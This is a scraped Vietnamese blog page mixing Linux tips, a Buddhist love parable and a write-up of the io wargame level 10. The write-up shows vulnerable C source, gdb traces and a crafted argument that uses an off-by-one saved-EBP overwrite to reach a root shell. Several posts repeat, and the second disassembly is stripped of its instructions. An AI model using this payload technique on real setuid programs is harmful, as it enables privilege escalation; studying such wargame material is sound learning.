Viết vội vã rồi lên xe về quê :D . Dự đoán là sẽ có nhiều cuộc chiến trong thời gian tới đây 8-} .
Nghe tí nhạc ấm lòng :
Vietnamese subtitle with mplayer
In the most case, when you watch video in mplayer with vietnamese subtitle,you'll meet this error :
Reason of this problem is subtitle file in UTF-16 , mplayer only play with UTF-8. Okie, we'll use the tool iconv , power tool to convert sub file to UTF-8
SUB: Could not determine file formatLet's type this command :
file subfile0oH, it show :
spread.srt: Little-endian UTF-16 Unicode English text, with CRLF, CR line terminators
Reason of this problem is subtitle file in UTF-16 , mplayer only play with UTF-8. Okie, we'll use the tool iconv , power tool to convert sub file to UTF-8
iconv -f UTF-16 -t UTF-8 fileneedconvert > filenewNow, play your video with command :
mplayer -utf8 -sub subfile videofileIf sub don't show correct font, use option -font "path/to/font" .
Cuộc đối thoại giữa người và Phật về tình yêu
Ðêm khuya, trong một ngôi đền, một Người một Phật, Phật ngồi người đứng...Người : Thưa Ðức Phật thánh minh, con là một người đã có vợ, con hiện đang yêu say đắm 1 người đàn bà khác, con thật không biết nên làm thế nào.
Phật : Con có thể xác định người đàn bà con đang yêu hiện nay là người đàn bà cuối cùng duy nhất trong cuộc đời con không?
Người : Thưa vâng.
Phật : Con ly hôn, sau đó lấy cô ấy.
Người : Nhưng vợ con hiện nay dịu dàng , lương thiện, thảo hiền. Con bỏ cô ấy liệu có phần tàn nhẫn không, có mất đạo đức không, thưa Ðức Phật?
Phật : Trong hôn nhân không có tình yêu mới là tàn nhẫn và mất đạo đức.Con hiện giờ đã yêu người khác, không yêu vợ nữa.Con làm như thế là đúng.
Người : Nhưng vợ con rất yêu con, quả thật yêu con lắm ,thưa Ðức Phật.
Phật : Vậy thì vợ con hạnh phúc.
Người : Sau khi con chia tay vợ lấy người khác,vợ con sẽ rất đau khổ, tại sao lại hạnh phúc, thưa Ðức Phật?
Phật : Trong hôn nhân, vợ con vẫn có tình yêu đối với con, còn con đã mất đi tình yêu đối với vợ con. Bởi vì con đã yêu người khác, chính vì có hạnh phúc, mất đi mới đau khổ, cho nên người đau khổ là con.
Người : Nhưng con cắt đứt vợ, sau đó cưới nguời khác, vậy là cô ấy đã mất con, cô ấy mới là người đau khổ.
Phật : Con nhầm rồi, con chỉ là người vợ con yêu thật sự trong hôn nhân.Khi một người như con không tồn tại, thì tình yêu thực sự của vợ con sẽ tiếp nối sang một người khác, bởi vì tình yêu thực sự của vợ con trong hôn nhân xưa nay chưa từng mất, cho nên vợ con mới hạnh phúc, con mới là người đau khổ.
Người : Vợ con đã từng nói, kiếp này chỉ yêu một mình con, cô ấy sẽ không yêu ai khác.
Phật : Con cũng đã từng nói thế phải không?
Người : Con...con...con...
Phật : Bây giờ con nhìn 3 ngọn nến trong lư hương trước mặt, xem ngọn nào sáng nhất?
Người : Quả thật con không biết, hình như đều sáng như nhau.
Phật : Ba ngọn nến ví như ba người đàn bà, một ngọn trong đó là người đàn bà hiện giờ con đang yêu. Ðông đảo chúng sinh, đàn bà đâu chỉ là mười triệu trăm triệu...Ngay đến một trong ba ngọn nến, ngọn nào sáng nhất con cũng không biết, cũng không tìm được người con hiện đang yêu, thì làm sao con xác định được người đàn bà con đang yêu hiện nay là người đàn bà cuối cùng và duy nhất trong cuộc đời con?
Người : Con...con...con...
Phật : Bây giờ con cầm một cây nến đặt ở trước mắt, để tâm nhìn xem ngọn nào sáng nhất?
Người : Ðương nhiên ngọn trước mắt này sáng nhất.
Phật : Bây giờ con đặt nó về chỗ cũ, lại xem xem ngọn nào sáng nhất.
Người : Quả thật con vẫn không nhìn ra ngọn nến nào sáng nhất.
Phật : Thật ra cây nến con vừa cầm giống như người đàn bà cuối cùng con đang yêu hiện nay, tình yêu nảy sinh từ trái tim, khi con cảm thấy yêu nó, để tâm ngắm nghía, con sẽ thấy nó sáng nhất, khi con để nó về chỗ cũ, con lại không tìm được một chút cảm giác sáng nhất. Thứ gọi là tình yêu cuối cùng và duy nhất của con chỉ là hoa trong gương trăng dưới nước, suy cho cùng chỉ là con số không, một cuộc tình trống rỗng.
Người : Ồ, con hiểu rồi, không phải Ðức Phật bảo con phải ly hôn với vợ, Ðức Phật đang niệm chú làm cho con ngộ đạo.
Phật : Nhìn thấu sẽ không nói trắng ra, con đi đi!
Người : Bây giờ con đã biết thật sự con yêu ai, người đó chính là vợ con hiện nay , thưa Ðức Phật.
Phật : A di đà phật...
p/s: leech
Add yahoo smiley to Pidgin

The set of yahoo smiley is very cool smiley, but in pidgin, if you want to use that, you must add it by hand. To do this, follow many steps below :
1. Down the yahoo smiley, fllow this link.
2. Extract it into ~/.purple/smileys/
3. Go to pidgin, tools, preference, smiley themes . Chose Original.
4. Relogin pidgin, get cool smileys .
start vmware kernel funtion during boot time
Hahaha, giời mới co net lại, làm tip này mở màng ha.
Đang chạy thèn gentoo, bực chỗ là mỗi lẫn chạy vmware (workstation) là phải add mấy cái funtion của nó vào kernel để chạy. Vài cái tiêu biểu như là vmnet, vmci... Mệt nhỉ. Vậy giờ add nó vào runlevels default để nó tự chạy lúc khởi động ha.
Chuyển qua root.
crazyboy@h4x0r / $ su
Password:
h4x0r / #
vào /etc/init.d/ ,
h4x0r / # cd /etc/init.d/
tải file này về .
h4x0r / # wget http://12a1nhc.com/Crazy_boy/crazyboy/vmware
tạo một file bash script có tên vmware trong để chạy mấy cái lệnh cần thiết :
h4x0r init.d # vi /root/vmware
nd;
#!/bin/sh
modprobe vmnet
modprobe vmci
modprobe vmmon
chạy lệnh sau
h4x0r init.d # rc-update add vmware default
Reboot và xem kết quả nào :D .
!crazyboy
Đang chạy thèn gentoo, bực chỗ là mỗi lẫn chạy vmware (workstation) là phải add mấy cái funtion của nó vào kernel để chạy. Vài cái tiêu biểu như là vmnet, vmci... Mệt nhỉ. Vậy giờ add nó vào runlevels default để nó tự chạy lúc khởi động ha.
Chuyển qua root.
crazyboy@h4x0r / $ su
Password:
h4x0r / #
vào /etc/init.d/ ,
h4x0r / # cd /etc/init.d/
tải file này về .
h4x0r / # wget http://12a1nhc.com/Crazy_boy/crazyboy/vmware
tạo một file bash script có tên vmware trong để chạy mấy cái lệnh cần thiết :
h4x0r init.d # vi /root/vmware
nd;
#!/bin/sh
modprobe vmnet
modprobe vmci
modprobe vmmon
chạy lệnh sau
h4x0r init.d # rc-update add vmware default
Reboot và xem kết quả nào :D .
!crazyboy
fucked lvl10@io !
Ở level này, vấn đề đặt ra không khó, nhưng vì chưa đụng đến cũng như chưa từng đọc tài liệu về nó nên bị bí. Source của lvl10 như sau :
Ta chú ý 2 dòng này:
level10@io:/levels$ gdb level10
...
(gdb) disassemble main
Dump of assembler code for function main:
0x08048472: lea 0x4(%esp),%ecx
0x08048476: and $0xfffffff0,%esp
0x08048479: pushl -0x4(%ecx)
0x0804847c: push %ebp
0x0804847d: mov %esp,%ebp
0x0804847f: push %esi
0x08048480: push %ebx
0x08048481: push %ecx
0x08048482: sub $0x2c,%esp
0x08048485: mov %ecx,-0x20(%ebp)
0x08048488: movl $0x3e8,-0x10(%ebp)
0x0804848f: mov -0x20(%ebp),%eax
0x08048492: cmpl $0x2,(%eax)
0x08048495: je 0x80484a3
0x08048497: movl $0x1,(%esp)
0x0804849e: call 0x8048320
0x080484a3: mov -0x20(%ebp),%edx
0x080484a6: mov 0x4(%edx),%eax
0x080484a9: add $0x4,%eax
0x080484ac: mov (%eax),%eax
0x080484ae: mov %eax,(%esp)
0x080484b1: call 0x80483fb
0x080484b6: cmpl $0xdefaced,-0x10(%ebp) // cookie == 0xdefaced, chương trình truy xuất cookie tại -0x10(%ebp)
0x080484bd: jne 0x8048506
0x080484bf: call 0x8048330
0x080484c4: mov %eax,%ebx
0x080484c6: call 0x8048330
0x080484cb: mov %eax,%esi
0x080484cd: call 0x8048330
0x080484d2: mov %ebx,0x8(%esp)
...
(gdb) b main
Breakpoint 1 at 0x8048482
(gdb) b f
Breakpoint 2 at 0x8048404
(gdb) disassemble f
Dump of assembler code for function f:
0x080483fb: push %ebp
0x080483fc: mov %esp,%ebp
0x080483fe: sub $0x110,%esp
0x08048404: call 0x80483f4
0x08048409: mov %eax,-0x4(%ebp)
0x0804840c: mov -0x4(%ebp),%eax
0x0804840f: mov (%eax),%edx
0x08048411: lea -0x104(%ebp),%eax
0x08048417: mov %edx,%ecx
0x08048419: sub %eax,%ecx
0x0804841b: mov %ecx,%eax
0x0804841d: inc %eax
0x0804841e: mov %eax,0x804974c
0x08048423: movl $0x0,0x8049750
0x0804842d: jmp 0x8048452
0x0804842f: mov 0x8049750,%edx
0x08048435: mov 0x8049750,%eax
0x0804843a: add 0x8(%ebp),%eax
0x0804843d: movzbl (%eax),%eax
0x08048440: mov %al,-0x104(%ebp,%edx,1)
0x08048447: mov 0x8049750,%eax
0x0804844c: inc %eax
0x0804844d: mov %eax,0x8049750
0x08048452: mov 0x8049750,%edx
0x08048458: mov 0x804974c,%eax
0x0804845d: cmp %eax,%edx
0x0804845f: jge 0x8048470
0x08048461: mov 0x8049750,%eax
0x08048466: add 0x8(%ebp),%eax
0x08048469: movzbl (%eax),%eax
---Type to continue, or q to quit---
0x0804846c: test %al,%al
0x0804846e: jne 0x804842f
0x08048470: leave
0x08048471: ret
End of assembler dump.
(gdb) b *0x08048741
Breakpoint 3 at 0x8048741
Ta sẽ thử chạy lvl10 với thông số vào là 300 ký tự ngẫu nhiên :
- Tạo genbuf :

- Run :
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
....
Breakpoint 1, 0x08048482 in main ()
(gdb) i r ebp
ebp 0xbfffdbf8 0xbfffdbf8
(gdb) c
Continuing.
Breakpoint 2, 0x08048404 in f ()
(gdb) c
Continuing.
Breakpoint 4, 0x08048471 in f ()
(gdb) i r ebp ebp 0xbfffdb36 0xbfffdb36
(gdb) x/x $ebp 0xbfffdb36: 0x65413365
(gdb) x/x $ebp-0x10 0xbfffdb26: 0x41386441
---> ebp khi push vào stack đã bị ghi đè 1 byte thành 0xbfffdb36
---> tại offset của ebp tính tới 4 byte là 0x65413345 ứng với chuỗi eA3e trong đoạn genbuf ở trên.
---> khi đó chương trình sẽ truy xuất cookie là 0x41386441 .
Đến đây coi như đã xong, việc còn lại là chỉnh sửa genbuf để phù hợp với phân tích trên. genbuf sau khi chỉnh sửa là :
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7"+"\xed\xac\xef\x0d"+"cede0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"
Và đoạn exploit như sau :

F/N.
#include
#include
#include
// Contributed by Torch
int limit, c;
int getebp() { __asm__("movl %ebp, %eax"); }
void f(char *s)
{
int *i;
char buf[256];
i = (int *)getebp();
limit = *i - (int)buf + 1;
printf("limit = %d\n",limit);
for (c = 0; c < limit && s[c] != '\0'; c++)
buf[c] = s[c];
}
int main(int argc, char **argv)
{
int cookie = 1000;
if (argc != 2) exit(1);
f(argv[1]);
if ( cookie == 0xdefaced ) {
setresuid(geteuid(), geteuid(), geteuid());
execlp("/bin/sh", "/bin/sh", "-i", NULL);
}
return 0;
}
Ta chú ý 2 dòng này:
i = (int *)getebp(); limit = *i - (int)buf + 1;Tại sao không phải cộng 1 ??? Bạn có thể đoán được điều gì sẽ xảy ra phải không. Vâng, ta sẽ kiểm chứng điều bạn nghĩ :D .
level10@io:/levels$ gdb level10
...
(gdb) disassemble main
Dump of assembler code for function main:
0x08048472
0x08048476
0x08048479
0x0804847c
0x0804847d
0x0804847f
0x08048480
0x08048481
0x08048482
0x08048485
0x08048488
0x0804848f
0x08048492
0x08048495
0x08048497
0x0804849e
0x080484a3
0x080484a6
0x080484a9
0x080484ac
0x080484ae
0x080484b1
0x080484b6
0x080484bd
0x080484bf
0x080484c4
0x080484c6
0x080484cb
0x080484cd
0x080484d2
...
(gdb) b main
Breakpoint 1 at 0x8048482
(gdb) b f
Breakpoint 2 at 0x8048404
(gdb) disassemble f
Dump of assembler code for function f:
0x080483fb
0x080483fc
0x080483fe
0x08048404
0x08048409
0x0804840c
0x0804840f
0x08048411
0x08048417
0x08048419
0x0804841b
0x0804841d
0x0804841e
0x08048423
0x0804842d
0x0804842f
0x08048435
0x0804843a
0x0804843d
0x08048440
0x08048447
0x0804844c
0x0804844d
0x08048452
0x08048458
0x0804845d
0x0804845f
0x08048461
0x08048466
0x08048469
---Type
0x0804846c
0x0804846e
0x08048470
0x08048471
End of assembler dump.
(gdb) b *0x08048741
Breakpoint 3 at 0x8048741
Ta sẽ thử chạy lvl10 với thông số vào là 300 ký tự ngẫu nhiên :
- Tạo genbuf :

(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
....
Breakpoint 1, 0x08048482 in main ()
(gdb) i r ebp
ebp 0xbfffdbf8 0xbfffdbf8
(gdb) c
Continuing.
Breakpoint 2, 0x08048404 in f ()
(gdb) c
Continuing.
Breakpoint 4, 0x08048471 in f ()
(gdb) i r ebp ebp 0xbfffdb36 0xbfffdb36
(gdb) x/x $ebp 0xbfffdb36: 0x65413365
(gdb) x/x $ebp-0x10 0xbfffdb26: 0x41386441
---> ebp khi push vào stack đã bị ghi đè 1 byte thành 0xbfffdb36
---> tại offset của ebp tính tới 4 byte là 0x65413345 ứng với chuỗi eA3e trong đoạn genbuf ở trên.
---> khi đó chương trình sẽ truy xuất cookie là 0x41386441 .
Đến đây coi như đã xong, việc còn lại là chỉnh sửa genbuf để phù hợp với phân tích trên. genbuf sau khi chỉnh sửa là :
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7"+"\xed\xac\xef\x0d"+"cede0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"
Và đoạn exploit như sau :

F/N.
How to : Make USB bootable to Install Ubuntu 9.10
I.Dẫn nhập:
Bạn muốn cài Ubuntu mà lại không có CD cài đặt, cũng không có điều kiện để đi burn 1 cái. Vậy thì bài này sẽ giúp bạn tạo một USB disk để cài đặt Ubuntu một cách nhanh chóng.
II. Công cụ:
- Trước tiên, bạn phải có một máy tính khác, chạy Windows hoặc Linux gì cũng được. Mình sẽ hướng dẫn để thao tác trên cả hai.
- Một file ảnh *.iso của Ubuntu 9.10 i386. Download ở đây .
- Một tiện ích nhỏ để cho ta đỡ công hơn. Download ở đây.
- Và tất nhiên là 1 USB 2.0. Dung lượng trống khoảng 1GB là vừa. Định dạng của USB là fat32.
III.Tiến hành:
- Đối với Windows:
.giải nén file makeusboot.tar.gz
.copy file ubuntu-9.10-desktop-i386.iso; nếu không có file này, khi chạy bước dưới đây sẽ tự động tải file này về để làm việc.
.chạy file fixoph.bat để tiến hành tạo usb boot.
.bạn bật chức năng boot USB của mainboard. Cắm USB vào và cài đặt.
- Đối với Linux thì có phần đơn giản hơn.
.dùng công cụ USB Startup Disk Creator để tạo USB boot này.
.từ console :
$usb-creator-gtk
.giao diện của chương trình như sau:
.click vào Other để chọn file iso của Ubuntu. Sau đó chọn Make Startup Disk và đợi.
IV.Mở rộng:
- Ở đây file fixoph.bat chỉ hỗ trợ cho Ubuntu 9.10 i386. Để tạo USB cho các bản Ubuntu và Linux ở các phiên bản khác thì bạn mở file này, thay ubuntu-9.10-desktop-i386.iso bằng tên file *.iso của phiên bản tương ứng.
V.Tổng kết:
- Không tốn quá nhiều công sức cũng như thời gian, bạn đã có một USB để boot cài đặt Ubuntu một cách nhanh chóng.
- Việc cài đặt qua USB còn có một cái lợi nữa, đó là thời gian cài đặt rất nhanh so với cài bằng CD.
Bạn muốn cài Ubuntu mà lại không có CD cài đặt, cũng không có điều kiện để đi burn 1 cái. Vậy thì bài này sẽ giúp bạn tạo một USB disk để cài đặt Ubuntu một cách nhanh chóng.
II. Công cụ:
- Trước tiên, bạn phải có một máy tính khác, chạy Windows hoặc Linux gì cũng được. Mình sẽ hướng dẫn để thao tác trên cả hai.
- Một file ảnh *.iso của Ubuntu 9.10 i386. Download ở đây .
- Một tiện ích nhỏ để cho ta đỡ công hơn. Download ở đây.
- Và tất nhiên là 1 USB 2.0. Dung lượng trống khoảng 1GB là vừa. Định dạng của USB là fat32.
III.Tiến hành:
- Đối với Windows:
.giải nén file makeusboot.tar.gz
.copy file ubuntu-9.10-desktop-i386.iso; nếu không có file này, khi chạy bước dưới đây sẽ tự động tải file này về để làm việc.
.chạy file fixoph.bat để tiến hành tạo usb boot.
.bạn bật chức năng boot USB của mainboard. Cắm USB vào và cài đặt.
- Đối với Linux thì có phần đơn giản hơn.
.dùng công cụ USB Startup Disk Creator để tạo USB boot này.
.từ console :
$usb-creator-gtk
.giao diện của chương trình như sau:
.click vào Other để chọn file iso của Ubuntu. Sau đó chọn Make Startup Disk và đợi.IV.Mở rộng:
- Ở đây file fixoph.bat chỉ hỗ trợ cho Ubuntu 9.10 i386. Để tạo USB cho các bản Ubuntu và Linux ở các phiên bản khác thì bạn mở file này, thay ubuntu-9.10-desktop-i386.iso bằng tên file *.iso của phiên bản tương ứng.
V.Tổng kết:
- Không tốn quá nhiều công sức cũng như thời gian, bạn đã có một USB để boot cài đặt Ubuntu một cách nhanh chóng.
- Việc cài đặt qua USB còn có một cái lợi nữa, đó là thời gian cài đặt rất nhanh so với cài bằng CD.
Subscribe to:
Posts (Atom)